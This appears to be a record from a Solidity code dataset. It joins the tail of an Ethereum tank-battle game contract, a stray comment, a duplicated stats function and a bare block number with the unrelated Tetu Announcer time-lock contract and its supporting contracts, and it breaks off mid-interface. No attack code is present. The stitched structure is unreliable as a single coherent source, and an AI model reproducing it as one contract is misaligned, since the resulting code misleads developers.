teamA[3])) != 0) { teamAScore += 1; } if((teamA[0] % (diffB * teamB[3])) != 0) { teamBScore += 1; } uint256 toDistribute = tournamentAmt / teamSize; tournamentAmt -= teamSize*toDistribute; if(teamAScore <= teamBScore){ for(i=0; i<teamSize; i++){ balances[tanks[battleTeams[i]].tankOwner] += toDistribute; } } else { for(i=0; i<teamSize; i++){ balances[tanks[battleTeams[teamSize+i]].tankOwner] += toDistribute; } } for(i=0; i<2*teamSize; i++){ tanks[battleTeams[i]].inBattle = false; } EventBattleOver(); battleTeams.length = 0; } } function quitBattle(uint256 _tankID) public { require(_tankID >0 && _tankID < newTankID); require(tanks[_tankID].tankOwner == msg.sender); require(tanks[_tankID].inBattle); uint l = battleTeams.length; for(uint i=0; i<l; i++){ if(battleTeams[i] == _tankID){ EventQuitBattle(msg.sender, _tankID); delete battleTeams[i]; battleTeams[i] = battleTeams[l-1]; battleTeams.length = l-1; tanks[_tankID].inBattle = false; return; } } } // CONVENIENCE GETTER METHODS function getCurrAuctionPriceTankID (uint256 _tankID) public constant returns (uint256 price){ require (tanks[_tankID].inAuction); uint256 auctionID = tanks[_tankID].currAuction; return getCurrAuctionPriceAuctionID(auctionID); } function getPlayerBalance(address _playerID) public constant returns (uint256 balance){ return balances[_playerID]; } function getContractBalance() public constant isOwner returns (uint256){ return this.balance; } function getTankOwner(uint256 _tankID) public constant returns (address) { require(_tankID > 0 && _tankID < newTankID); return tanks[_tankID].tankOwner; } function getOwnedTanks(address _add) public constant returns (uint256[]){ return userTanks[_add]; } function getTankType(uint256 _tankID) public constant returns (uint256) { require(_tankID > 0 && _tankID < newTankID); return tanks[_tankID].typeID; } function getCurrTypePrice(uint256 _typeID) public constant returns (uint256) { require(_typeID > 0 && _typeID < newTypeID); return baseTanks[_typeID].currPrice; } function getNumTanksType(uint256 _typeID) public constant returns (uint256) { require(_typeID > 0 && _typeID < newTypeID); return baseTanks[_typeID].numTanks; } function getNumTanks() public constant returns(uint256){ return newTankID-1; } function checkTankAuction(uint256 _tankID) public constant returns (bool) { require(0 < _tankID && _tankID < newTankID); return tanks[_tankID].inAuction; } function getCurrAuctionPriceAuctionID(uint256 _auctionID) public constant returns (uint256){ require(_auctionID > 0 && _auctionID < newAuctionID); AuctionObject memory currAuction = auctions[_auctionID]; // calculate the current auction price uint256 currPrice = currAuction.startPrice; uint256 diff = ((currAuction.startPrice-currAuction.endPrice) / (currAuction.duration)) * (now-currAuction.startTime); if (currPrice-diff < currAuction.endPrice || diff > currPrice){ currPrice = currAuction.endPrice; } else { currPrice -= diff; } return currPrice; } // returns [tankID, currPrice, alive] function getAuction(uint256 _auctionID) public constant returns (uint256[3]){ require(_auctionID > 0 && _auctionID < newAuctionID); uint256 tankID = auctions[_auctionID].tank; uint256 currPrice = getCurrAuctionPriceAuctionID(_auctionID); bool alive = auctions[_auctionID].alive; uint256[3] memory out; out[0] = tankID; out[1] = currPrice; out[2] = alive ? 1 : 0; return out; } function getUpgradePrice(uint256 _tankID) public constant returns (uint256) { require(_tankID >0 && _tankID < newTankID); return baseTanks[tanks[_tankID].typeID].startPrice / 4; } // [health, attack, armor, speed] function getUpgradeAmt(uint256 _tankID) public constant returns (uint8[4]) { require(_tankID > 0 && _tankID < newTankID); return tanks[_tankID].upgrades; } // [health, attack, armor, speed] function getCurrentStats(uint256 _tankID) public constant returns (uint256[4]) { require(_tankID > 0 && _tankID < newTankID); TankType memory baseType = baseTanks[tanks[_tankID].typeID]; uint8[4] memory upgrades = tanks[_tankID].upgrades; uint256[4] memory out; out[0] = baseType.baseHealth + (upgrades[0] * baseType.baseHealth / 4); out[1] = baseType.baseAttack + upgrades[1]; out[2] = baseType.baseArmor + upgrades[2]; out[3] = baseType.baseSpeed + upgrades[3]; return out; } function inBattle(uint256 _tankID) public constant returns (bool) { require(_tankID > 0 && _tankID < newTankID); return tanks[_tankID].inBattle; } function getCurrTeamSizes() public constant returns (uint) { return battleTeams.length; } function getBattleTeamSize() public constant returns (uint8) { return teamSize; } function donate() public payable { require(msg.value > 0); tournamentAmt += msg.value; } function getTournamentAmt() public constant returns (uint256) { return tournamentAmt; } function getBattleFee() public constant returns (uint256){ return battleFee; } function getTournamentRate() public constant returns (uint8){ return tournamentTaxRate; } function getCurrFeeRate() public constant returns (uint8) { return feeAmt; } // [startPrice, currPrice, earnings, baseHealth, baseAttack, baseArmor, baseSpeed, numTanks] function getBaseTypeStats(uint256 _typeID) public constant returns (uint256[8]){ require(0 < _typeID && _typeID < newTypeID); uint256[8] memory out; out[0] = baseTanks[_typeID].startPrice; out[1] = baseTanks[_typeID].currPrice; out[2] = baseTanks[_typeID].earnings; out[3] = baseTanks[_typeID].baseHealth; out[4] = baseTanks[_typeID].baseAttack; out[5] = baseTanks[_typeID].baseArmor; out[6] = baseTanks[_typeID].baseSpeed; out[7] = baseTanks[_typeID].numTanks; return out; } function getCashOutAmount(uint256 _tankID) public constant returns (uint256) { require(0 < _tankID && _tankID < newTankID); uint256 tankType = tanks[_tankID].typeID; uint256 earnings = baseTanks[tankType].earnings; uint256 earningsIndex = tanks[_tankID].earningsIndex; uint256 numTanks = baseTanks[tankType].numTanks; return earnings * (numTanks - earningsIndex); } }
[health, attack, armor, speed]
function getCurrentStats(uint256 _tankID) public constant returns (uint256[4]) { require(_tankID > 0 && _tankID < newTankID); TankType memory baseType = baseTanks[tanks[_tankID].typeID]; uint8[4] memory upgrades = tanks[_tankID].upgrades; uint256[4] memory out; out[0] = baseType.baseHealth + (upgrades[0] * baseType.baseHealth / 4); out[1] = baseType.baseAttack + upgrades[1]; out[2] = baseType.baseArmor + upgrades[2]; out[3] = baseType.baseSpeed + upgrades[3]; return out; }
12,927,036
// SPDX-License-Identifier: ISC /** * By using this software, you understand, acknowledge and accept that Tetu * and/or the underlying software are provided “as is” and “as available” * basis and without warranties or representations of any kind either expressed * or implied. Any use of this open source software released under the ISC * Internet Systems Consortium license is done at your own risk to the fullest * extent permissible pursuant to applicable law any and all liability as well * as all warranties, including any fitness for a particular purpose with respect * to Tetu and/or the underlying software and the use thereof are disclaimed. */ pragma solidity 0.8.4; import "./ControllableV2.sol"; import "./ControllerStorage.sol"; import "../interface/IAnnouncer.sol"; /// @title Contract for holding scheduling for time-lock actions /// @dev Use with TetuProxy /// @author belbix contract Announcer is ControllableV2, IAnnouncer { /// @notice Version of the contract /// @dev Should be incremented when contract is changed string public constant VERSION = "1.2.0"; bytes32 internal constant _TIME_LOCK_SLOT = 0x244FE7C39AF244D294615908664E79A2F65DD3F4D5C387AF1D52197F465D1C2E; /// @dev Hold schedule for time-locked operations mapping(bytes32 => uint256) public override timeLockSchedule; /// @dev Hold values for upgrade TimeLockInfo[] private _timeLockInfos; /// @dev Hold indexes for upgrade info mapping(TimeLockOpCodes => uint256) public timeLockIndexes; /// @dev Hold indexes for upgrade info by address mapping(TimeLockOpCodes => mapping(address => uint256)) public multiTimeLockIndexes; /// @dev Deprecated, don't remove for keep slot ordering mapping(TimeLockOpCodes => bool) public multiOpCodes; /// @notice Address change was announced event AddressChangeAnnounce(TimeLockOpCodes opCode, address newAddress); /// @notice Uint256 change was announced event UintChangeAnnounce(TimeLockOpCodes opCode, uint256 newValue); /// @notice Ratio change was announced event RatioChangeAnnounced(TimeLockOpCodes opCode, uint256 numerator, uint256 denominator); /// @notice Token movement was announced event TokenMoveAnnounced(TimeLockOpCodes opCode, address target, address token, uint256 amount); /// @notice Proxy Upgrade was announced event ProxyUpgradeAnnounced(address _contract, address _implementation); /// @notice Mint was announced event MintAnnounced(uint256 totalAmount, address _distributor, address _otherNetworkFund); /// @notice Announce was closed event AnnounceClosed(bytes32 opHash); /// @notice Strategy Upgrade was announced event StrategyUpgradeAnnounced(address _contract, address _implementation); /// @notice Vault stop action announced event VaultStop(address _contract); constructor() { require(_TIME_LOCK_SLOT == bytes32(uint256(keccak256("eip1967.announcer.timeLock")) - 1), "wrong timeLock"); } /// @notice Initialize contract after setup it as proxy implementation /// @dev Use it only once after first logic setup /// @param _controller Controller address /// @param _timeLock TimeLock period function initialize(address _controller, uint256 _timeLock) external initializer { ControllableV2.initializeControllable(_controller); // fill timeLock bytes32 slot = _TIME_LOCK_SLOT; assembly { sstore(slot, _timeLock) } // placeholder for index 0 _timeLockInfos.push(TimeLockInfo(TimeLockOpCodes.ZeroPlaceholder, 0, address(0), new address[](0), new uint256[](0))); } /// @dev Operations allowed only for Governance address modifier onlyGovernance() { require(_isGovernance(msg.sender), "not governance"); _; } /// @dev Operations allowed for Governance or Dao addresses modifier onlyGovernanceOrDao() { require(_isGovernance(msg.sender) || IController(_controller()).isDao(msg.sender), "not governance or dao"); _; } /// @dev Operations allowed for Governance or Dao addresses modifier onlyControlMembers() { require( _isGovernance(msg.sender) || _isController(msg.sender) || IController(_controller()).isDao(msg.sender) || IController(_controller()).vaultController() == msg.sender , "not control member"); _; } // ************** VIEW ******************** /// @notice Return time-lock period (in seconds) saved in the contract slot /// @return result TimeLock period function timeLock() public view returns (uint256 result) { bytes32 slot = _TIME_LOCK_SLOT; assembly { result := sload(slot) } } /// @notice Length of the the array of all undone announced actions /// @return Array length function timeLockInfosLength() external view returns (uint256) { return _timeLockInfos.length; } /// @notice Return information about announced time-locks for given index /// @param idx Index of time lock info /// @return TimeLock information function timeLockInfo(uint256 idx) external override view returns (TimeLockInfo memory) { return _timeLockInfos[idx]; } // ************** ANNOUNCES ************** /// @notice Only Governance can do it. /// Announce address change. You will be able to setup new address after Time-lock period /// @param opCode Operation code from the list /// 0 - Governance /// 1 - Dao /// 2 - FeeRewardForwarder /// 3 - Bookkeeper /// 4 - MintHelper /// 5 - RewardToken /// 6 - FundToken /// 7 - PsVault /// 8 - Fund /// 19 - VaultController /// @param newAddress New address function announceAddressChange(TimeLockOpCodes opCode, address newAddress) external onlyGovernance { require(timeLockIndexes[opCode] == 0, "already announced"); require(newAddress != address(0), "zero address"); bytes32 opHash = keccak256(abi.encode(opCode, newAddress)); timeLockSchedule[opHash] = block.timestamp + timeLock(); address[] memory values = new address[](1); values[0] = newAddress; _timeLockInfos.push(TimeLockInfo(opCode, opHash, _controller(), values, new uint256[](0))); timeLockIndexes[opCode] = (_timeLockInfos.length - 1); emit AddressChangeAnnounce(opCode, newAddress); } /// @notice Only Governance can do it. /// Announce some single uint256 change. You will be able to setup new value after Time-lock period /// @param opCode Operation code from the list /// 20 - RewardBoostDuration /// 21 - RewardRatioWithoutBoost /// @param newValue New value function announceUintChange(TimeLockOpCodes opCode, uint256 newValue) external onlyGovernance { require(timeLockIndexes[opCode] == 0, "already announced"); bytes32 opHash = keccak256(abi.encode(opCode, newValue)); timeLockSchedule[opHash] = block.timestamp + timeLock(); uint256[] memory values = new uint256[](1); values[0] = newValue; _timeLockInfos.push(TimeLockInfo(opCode, opHash, address(0), new address[](0), values)); timeLockIndexes[opCode] = (_timeLockInfos.length - 1); emit UintChangeAnnounce(opCode, newValue); } /// @notice Only Governance or DAO can do it. /// Announce ratio change. You will be able to setup new ratio after Time-lock period /// @param opCode Operation code from the list /// 9 - PsRatio /// 10 - FundRatio /// @param numerator New numerator /// @param denominator New denominator function announceRatioChange(TimeLockOpCodes opCode, uint256 numerator, uint256 denominator) external override onlyGovernanceOrDao { require(timeLockIndexes[opCode] == 0, "already announced"); require(numerator <= denominator, "invalid values"); require(denominator != 0, "cannot divide by 0"); bytes32 opHash = keccak256(abi.encode(opCode, numerator, denominator)); timeLockSchedule[opHash] = block.timestamp + timeLock(); uint256[] memory values = new uint256[](2); values[0] = numerator; values[1] = denominator; _timeLockInfos.push(TimeLockInfo(opCode, opHash, _controller(), new address[](0), values)); timeLockIndexes[opCode] = (_timeLockInfos.length - 1); emit RatioChangeAnnounced(opCode, numerator, denominator); } /// @notice Only Governance can do it. Announce token movement. You will be able to transfer after Time-lock period /// @param opCode Operation code from the list /// 11 - ControllerTokenMove /// 12 - StrategyTokenMove /// 13 - FundTokenMove /// @param target Destination of the transfer /// @param token Token the user wants to move. /// @param amount Amount that you want to move function announceTokenMove(TimeLockOpCodes opCode, address target, address token, uint256 amount) external onlyGovernance { require(timeLockIndexes[opCode] == 0, "already announced"); require(target != address(0), "zero target"); require(token != address(0), "zero token"); require(amount != 0, "zero amount"); bytes32 opHash = keccak256(abi.encode(opCode, target, token, amount)); timeLockSchedule[opHash] = block.timestamp + timeLock(); address[] memory adrValues = new address[](1); adrValues[0] = token; uint256[] memory intValues = new uint256[](1); intValues[0] = amount; _timeLockInfos.push(TimeLockInfo(opCode, opHash, target, adrValues, intValues)); timeLockIndexes[opCode] = (_timeLockInfos.length - 1); emit TokenMoveAnnounced(opCode, target, token, amount); } /// @notice Only Governance can do it. Announce weekly mint. You will able to mint after Time-lock period /// @param totalAmount Total amount to mint. /// 33% will go to current network, 67% to FundKeeper for other networks /// @param _distributor Distributor address, usually NotifyHelper /// @param _otherNetworkFund Fund address, usually FundKeeper function announceMint( uint256 totalAmount, address _distributor, address _otherNetworkFund, bool mintAllAvailable ) external onlyGovernance { TimeLockOpCodes opCode = TimeLockOpCodes.Mint; require(timeLockIndexes[opCode] == 0, "already announced"); require(totalAmount != 0 || mintAllAvailable, "zero amount"); require(_distributor != address(0), "zero distributor"); require(_otherNetworkFund != address(0), "zero fund"); bytes32 opHash = keccak256(abi.encode(opCode, totalAmount, _distributor, _otherNetworkFund, mintAllAvailable)); timeLockSchedule[opHash] = block.timestamp + timeLock(); address[] memory adrValues = new address[](2); adrValues[0] = _distributor; adrValues[1] = _otherNetworkFund; uint256[] memory intValues = new uint256[](1); intValues[0] = totalAmount; address mintHelper = IController(_controller()).mintHelper(); _timeLockInfos.push(TimeLockInfo(opCode, opHash, mintHelper, adrValues, intValues)); timeLockIndexes[opCode] = _timeLockInfos.length - 1; emit MintAnnounced(totalAmount, _distributor, _otherNetworkFund); } /// @notice Only Governance can do it. Announce Batch Proxy upgrade /// @param _contracts Array of Proxy contract addresses for upgrade /// @param _implementations Array of New implementation addresses function announceTetuProxyUpgradeBatch(address[] calldata _contracts, address[] calldata _implementations) external onlyGovernance { require(_contracts.length == _implementations.length, "wrong arrays"); for (uint256 i = 0; i < _contracts.length; i++) { announceTetuProxyUpgrade(_contracts[i], _implementations[i]); } } /// @notice Only Governance can do it. Announce Proxy upgrade. You will able to mint after Time-lock period /// @param _contract Proxy contract address for upgrade /// @param _implementation New implementation address function announceTetuProxyUpgrade(address _contract, address _implementation) public onlyGovernance { TimeLockOpCodes opCode = TimeLockOpCodes.TetuProxyUpdate; require(multiTimeLockIndexes[opCode][_contract] == 0, "already announced"); require(_contract != address(0), "zero contract"); require(_implementation != address(0), "zero implementation"); bytes32 opHash = keccak256(abi.encode(opCode, _contract, _implementation)); timeLockSchedule[opHash] = block.timestamp + timeLock(); address[] memory values = new address[](1); values[0] = _implementation; _timeLockInfos.push(TimeLockInfo(opCode, opHash, _contract, values, new uint256[](0))); multiTimeLockIndexes[opCode][_contract] = (_timeLockInfos.length - 1); emit ProxyUpgradeAnnounced(_contract, _implementation); } /// @notice Only Governance can do it. Announce strategy update for given vaults /// @param _targets Vault addresses /// @param _strategies Strategy addresses function announceStrategyUpgrades(address[] calldata _targets, address[] calldata _strategies) external onlyGovernance { TimeLockOpCodes opCode = TimeLockOpCodes.StrategyUpgrade; require(_targets.length == _strategies.length, "wrong arrays"); for (uint256 i = 0; i < _targets.length; i++) { require(multiTimeLockIndexes[opCode][_targets[i]] == 0, "already announced"); bytes32 opHash = keccak256(abi.encode(opCode, _targets[i], _strategies[i])); timeLockSchedule[opHash] = block.timestamp + timeLock(); address[] memory values = new address[](1); values[0] = _strategies[i]; _timeLockInfos.push(TimeLockInfo(opCode, opHash, _targets[i], values, new uint256[](0))); multiTimeLockIndexes[opCode][_targets[i]] = (_timeLockInfos.length - 1); emit StrategyUpgradeAnnounced(_targets[i], _strategies[i]); } } /// @notice Only Governance can do it. Announce the stop vault action /// @param _vaults Vault addresses function announceVaultStopBatch(address[] calldata _vaults) external onlyGovernance { TimeLockOpCodes opCode = TimeLockOpCodes.VaultStop; for (uint256 i = 0; i < _vaults.length; i++) { require(multiTimeLockIndexes[opCode][_vaults[i]] == 0, "already announced"); bytes32 opHash = keccak256(abi.encode(opCode, _vaults[i])); timeLockSchedule[opHash] = block.timestamp + timeLock(); _timeLockInfos.push(TimeLockInfo(opCode, opHash, _vaults[i], new address[](0), new uint256[](0))); multiTimeLockIndexes[opCode][_vaults[i]] = (_timeLockInfos.length - 1); emit VaultStop(_vaults[i]); } } /// @notice Close any announce. Use in emergency case. /// @param opCode TimeLockOpCodes uint8 value /// @param opHash keccak256(abi.encode()) code with attributes. /// @param target Address for multi time lock. Set zero address if not required. function closeAnnounce(TimeLockOpCodes opCode, bytes32 opHash, address target) external onlyGovernance { clearAnnounce(opHash, opCode, target); emit AnnounceClosed(opHash); } /// @notice Only controller can use it. Clear announce after successful call time-locked function /// @param opHash Generated keccak256 opHash /// @param opCode TimeLockOpCodes uint8 value function clearAnnounce(bytes32 opHash, TimeLockOpCodes opCode, address target) public override onlyControlMembers { timeLockSchedule[opHash] = 0; if (multiTimeLockIndexes[opCode][target] != 0) { multiTimeLockIndexes[opCode][target] = 0; } else { timeLockIndexes[opCode] = 0; } } } // SPDX-License-Identifier: ISC /** * By using this software, you understand, acknowledge and accept that Tetu * and/or the underlying software are provided “as is” and “as available” * basis and without warranties or representations of any kind either expressed * or implied. Any use of this open source software released under the ISC * Internet Systems Consortium license is done at your own risk to the fullest * extent permissible pursuant to applicable law any and all liability as well * as all warranties, including any fitness for a particular purpose with respect * to Tetu and/or the underlying software and the use thereof are disclaimed. */ pragma solidity 0.8.4; import "../../openzeppelin/Initializable.sol"; import "../interface/IControllable.sol"; import "../interface/IControllableExtended.sol"; import "../interface/IController.sol"; /// @title Implement basic functionality for any contract that require strict control /// V2 is optimised version for less gas consumption /// @dev Can be used with upgradeable pattern. /// Require call initializeControllable() in any case. /// @author belbix abstract contract ControllableV2 is Initializable, IControllable, IControllableExtended { bytes32 internal constant _CONTROLLER_SLOT = bytes32(uint256(keccak256("eip1967.controllable.controller")) - 1); bytes32 internal constant _CREATED_SLOT = bytes32(uint256(keccak256("eip1967.controllable.created")) - 1); bytes32 internal constant _CREATED_BLOCK_SLOT = bytes32(uint256(keccak256("eip1967.controllable.created_block")) - 1); event ContractInitialized(address controller, uint ts, uint block); /// @notice Initialize contract after setup it as proxy implementation /// Save block.timestamp in the "created" variable /// @dev Use it only once after first logic setup /// @param __controller Controller address function initializeControllable(address __controller) public initializer { _setController(__controller); _setCreated(block.timestamp); _setCreatedBlock(block.number); emit ContractInitialized(__controller, block.timestamp, block.number); } /// @dev Return true if given address is controller function isController(address _value) external override view returns (bool) { return _isController(_value); } function _isController(address _value) internal view returns (bool) { return _value == _controller(); } /// @notice Return true if given address is setup as governance in Controller function isGovernance(address _value) external override view returns (bool) { return _isGovernance(_value); } function _isGovernance(address _value) internal view returns (bool) { return IController(_controller()).governance() == _value; } // ************* SETTERS/GETTERS ******************* /// @notice Return controller address saved in the contract slot function controller() external view override returns (address) { return _controller(); } function _controller() internal view returns (address result) { bytes32 slot = _CONTROLLER_SLOT; assembly { result := sload(slot) } } /// @dev Set a controller address to contract slot function _setController(address _newController) private { require(_newController != address(0)); bytes32 slot = _CONTROLLER_SLOT; assembly { sstore(slot, _newController) } } /// @notice Return creation timestamp /// @return ts Creation timestamp function created() external view override returns (uint256 ts) { bytes32 slot = _CREATED_SLOT; assembly { ts := sload(slot) } } /// @dev Filled only once when contract initialized /// @param _value block.timestamp function _setCreated(uint256 _value) private { bytes32 slot = _CREATED_SLOT; assembly { sstore(slot, _value) } } /// @notice Return creation block number /// @return ts Creation block number function createdBlock() external view returns (uint256 ts) { bytes32 slot = _CREATED_BLOCK_SLOT; assembly { ts := sload(slot) } } /// @dev Filled only once when contract initialized /// @param _value block.number function _setCreatedBlock(uint256 _value) private { bytes32 slot = _CREATED_BLOCK_SLOT; assembly { sstore(slot, _value) } } } // SPDX-License-Identifier: ISC /** * By using this software, you understand, acknowledge and accept that Tetu * and/or the underlying software are provided “as is” and “as available” * basis and without warranties or representations of any kind either expressed * or implied. Any use of this open source software released under the ISC * Internet Systems Consortium license is done at your own risk to the fullest * extent permissible pursuant to applicable law any and all liability as well * as all warranties, including any fitness for a particular purpose with respect * to Tetu and/or the underlying software and the use thereof are disclaimed. */ pragma solidity 0.8.4; import "../interface/IController.sol"; import "../../openzeppelin/Initializable.sol"; /// @title Eternal storage + getters and setters pattern /// @dev If a key value is changed it will be required to setup it again. /// @author belbix abstract contract ControllerStorage is Initializable, IController { // don't change names or ordering! mapping(bytes32 => uint256) private uintStorage; mapping(bytes32 => address) private addressStorage; /// @notice Address changed the variable with `name` event UpdatedAddressSlot(string indexed name, address oldValue, address newValue); /// @notice Value changed the variable with `name` event UpdatedUint256Slot(string indexed name, uint256 oldValue, uint256 newValue); /// @notice Initialize contract after setup it as proxy implementation /// @dev Use it only once after first logic setup /// @param __governance Governance address function initializeControllerStorage( address __governance ) public initializer { _setGovernance(__governance); } // ******************* SETTERS AND GETTERS ********************** // ----------- ADDRESSES ---------- function _setGovernance(address _address) internal { emit UpdatedAddressSlot("governance", _governance(), _address); setAddress("governance", _address); } /// @notice Return governance address /// @return Governance address function governance() external override view returns (address) { return _governance(); } function _governance() internal view returns (address) { return getAddress("governance"); } function _setDao(address _address) internal { emit UpdatedAddressSlot("dao", _dao(), _address); setAddress("dao", _address); } /// @notice Return DAO address /// @return DAO address function dao() external override view returns (address) { return _dao(); } function _dao() internal view returns (address) { return getAddress("dao"); } function _setFeeRewardForwarder(address _address) internal { emit UpdatedAddressSlot("feeRewardForwarder", feeRewardForwarder(), _address); setAddress("feeRewardForwarder", _address); } /// @notice Return FeeRewardForwarder address /// @return FeeRewardForwarder address function feeRewardForwarder() public override view returns (address) { return getAddress("feeRewardForwarder"); } function _setBookkeeper(address _address) internal { emit UpdatedAddressSlot("bookkeeper", _bookkeeper(), _address); setAddress("bookkeeper", _address); } /// @notice Return Bookkeeper address /// @return Bookkeeper address function bookkeeper() external override view returns (address) { return _bookkeeper(); } function _bookkeeper() internal view returns (address) { return getAddress("bookkeeper"); } function _setMintHelper(address _address) internal { emit UpdatedAddressSlot("mintHelper", mintHelper(), _address); setAddress("mintHelper", _address); } /// @notice Return MintHelper address /// @return MintHelper address function mintHelper() public override view returns (address) { return getAddress("mintHelper"); } function _setRewardToken(address _address) internal { emit UpdatedAddressSlot("rewardToken", rewardToken(), _address); setAddress("rewardToken", _address); } /// @notice Return TETU address /// @return TETU address function rewardToken() public override view returns (address) { return getAddress("rewardToken"); } function _setFundToken(address _address) internal { emit UpdatedAddressSlot("fundToken", fundToken(), _address); setAddress("fundToken", _address); } /// @notice Return a token address used for FundKeeper /// @return FundKeeper's main token address function fundToken() public override view returns (address) { return getAddress("fundToken"); } function _setPsVault(address _address) internal { emit UpdatedAddressSlot("psVault", psVault(), _address); setAddress("psVault", _address); } /// @notice Return Profit Sharing pool address /// @return Profit Sharing pool address function psVault() public override view returns (address) { return getAddress("psVault"); } function _setFund(address _address) internal { emit UpdatedAddressSlot("fund", fund(), _address); setAddress("fund", _address); } /// @notice Return FundKeeper address /// @return FundKeeper address function fund() public override view returns (address) { return getAddress("fund"); } function _setDistributor(address _address) internal { emit UpdatedAddressSlot("distributor", distributor(), _address); setAddress("distributor", _address); } /// @notice Return Reward distributor address /// @return Distributor address function distributor() public override view returns (address) { return getAddress("distributor"); } function _setAnnouncer(address _address) internal { emit UpdatedAddressSlot("announcer", _announcer(), _address); setAddress("announcer", _address); } /// @notice Return Announcer address /// @return Announcer address function announcer() external override view returns (address) { return _announcer(); } function _announcer() internal view returns (address) { return getAddress("announcer"); } function _setVaultController(address _address) internal { emit UpdatedAddressSlot("vaultController", vaultController(), _address); setAddress("vaultController", _address); } /// @notice Return FundKeeper address /// @return FundKeeper address function vaultController() public override view returns (address) { return getAddress("vaultController"); } // ----------- INTEGERS ---------- function _setPsNumerator(uint256 _value) internal { emit UpdatedUint256Slot("psNumerator", psNumerator(), _value); setUint256("psNumerator", _value); } /// @notice Return Profit Sharing pool ratio's numerator /// @return Profit Sharing pool ratio numerator function psNumerator() public view override returns (uint256) { return getUint256("psNumerator"); } function _setPsDenominator(uint256 _value) internal { emit UpdatedUint256Slot("psDenominator", psDenominator(), _value); setUint256("psDenominator", _value); } /// @notice Return Profit Sharing pool ratio's denominator /// @return Profit Sharing pool ratio denominator function psDenominator() public view override returns (uint256) { return getUint256("psDenominator"); } function _setFundNumerator(uint256 _value) internal { emit UpdatedUint256Slot("fundNumerator", fundNumerator(), _value); setUint256("fundNumerator", _value); } /// @notice Return FundKeeper ratio's numerator /// @return FundKeeper ratio numerator function fundNumerator() public view override returns (uint256) { return getUint256("fundNumerator"); } function _setFundDenominator(uint256 _value) internal { emit UpdatedUint256Slot("fundDenominator", fundDenominator(), _value); setUint256("fundDenominator", _value); } /// @notice Return FundKeeper ratio's denominator /// @return FundKeeper ratio denominator function fundDenominator() public view override returns (uint256) { return getUint256("fundDenominator"); } // ******************** STORAGE INTERNAL FUNCTIONS ******************** function setAddress(string memory key, address _address) private { addressStorage[keccak256(abi.encodePacked(key))] = _address; } function getAddress(string memory key) private view returns (address) { return addressStorage[keccak256(abi.encodePacked(key))]; } function setUint256(string memory key, uint256 _value) private { uintStorage[keccak256(abi.encodePacked(key))] = _value; } function getUint256(string memory key) private view returns (uint256) { return uintStorage[keccak256(abi.encodePacked(key))]; } //slither-disable-next-line unused-state uint256[50] private ______gap; } // SPDX-License-Identifier: ISC /** * By using this software, you understand, acknowledge and accept that Tetu * and/or the underlying software are provided “as is” and “as available” * basis and without warranties or representations of any kind either expressed * or implied. Any use of this open source software released under the ISC * Internet Systems Consortium license is done at your own risk to the fullest * extent permissible pursuant to applicable law any and all liability as well * as all warranties, including any fitness for a particular purpose with respect * to Tetu and/or the underlying software and the use thereof are disclaimed. */ pragma solidity 0.8.4; interface IAnnouncer { /// @dev Time lock operation codes enum TimeLockOpCodes { // TimeLockedAddresses Governance, // 0 Dao, // 1 FeeRewardForwarder, // 2 Bookkeeper, // 3 MintHelper, // 4 RewardToken, // 5 FundToken, // 6 PsVault, // 7 Fund, // 8 // TimeLockedRatios PsRatio, // 9 FundRatio, // 10 // TimeLockedTokenMoves ControllerTokenMove, // 11 StrategyTokenMove, // 12 FundTokenMove, // 13 // Other TetuProxyUpdate, // 14 StrategyUpgrade, // 15 Mint, // 16 Announcer, // 17 ZeroPlaceholder, //18 VaultController, //19 RewardBoostDuration, //20 RewardRatioWithoutBoost, //21 VaultStop //22 } /// @dev Holder for human readable info struct TimeLockInfo { TimeLockOpCodes opCode; bytes32 opHash; address target; address[] adrValues; uint256[] numValues; } function clearAnnounce(bytes32 opHash, TimeLockOpCodes opCode, address target) external; function timeLockSchedule(bytes32 opHash) external returns (uint256); function timeLockInfo(uint256 idx) external returns (TimeLockInfo memory); // ************ DAO ACTIONS ************* function announceRatioChange(TimeLockOpCodes opCode, uint256 numerator, uint256 denominator) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: ISC /** * By using this software, you understand, acknowledge and accept that Tetu * and/or the underlying software are provided “as is” and “as available” * basis and without warranties or representations of any kind either expressed * or implied. Any use of this open source software released under the ISC * Internet Systems Consortium license is done at your own risk to the fullest * extent permissible pursuant to applicable law any and all liability as well * as all warranties, including any fitness for a particular purpose with respect * to Tetu and/or the underlying software and the use thereof are disclaimed. */ pragma solidity 0.8.4; interface IControllable { function isController(address _contract) external view returns (bool); function isGovernance(address _contract) external view returns (bool); } // SPDX-License-Identifier: ISC /** * By using this software, you understand, acknowledge and accept that Tetu * and/or the underlying software are provided “as is” and “as available” * basis and without warranties or representations of any kind either expressed * or implied. Any use of this open source software released under the ISC * Internet Systems Consortium license is done at your own risk to the fullest * extent permissible pursuant to applicable law any and all liability as well * as all warranties, including any fitness for a particular purpose with respect * to Tetu and/or the underlying software and the use thereof are disclaimed. */ pragma solidity 0.8.4; /// @dev This interface contains additional functions for Controllable class /// Don't extend the exist Controllable for the reason of huge coherence interface IControllableExtended { function created() external view returns (uint256 ts); function controller() external view returns (address adr); } // SPDX-License-Identifier: ISC /** * By using this software, you understand, acknowledge and accept that Tetu * and/or the underlying software are provided “as is” and “as available” * basis and without warranties or representations of any kind either expressed * or implied. Any use of this open source software released under the ISC * Internet Systems Consortium license is done at your own risk to the fullest * extent permissible pursuant to applicable law any and all liability as well * as all warranties, including any fitness for a particular purpose with respect * to Tetu and/or the underlying software and the use thereof are disclaimed. */ pragma solidity 0.8.4; interface IController { function addVaultsAndStrategies(address[] memory _vaults, address[] memory _strategies) external; function addStrategy(address _strategy) external; function governance() external view returns 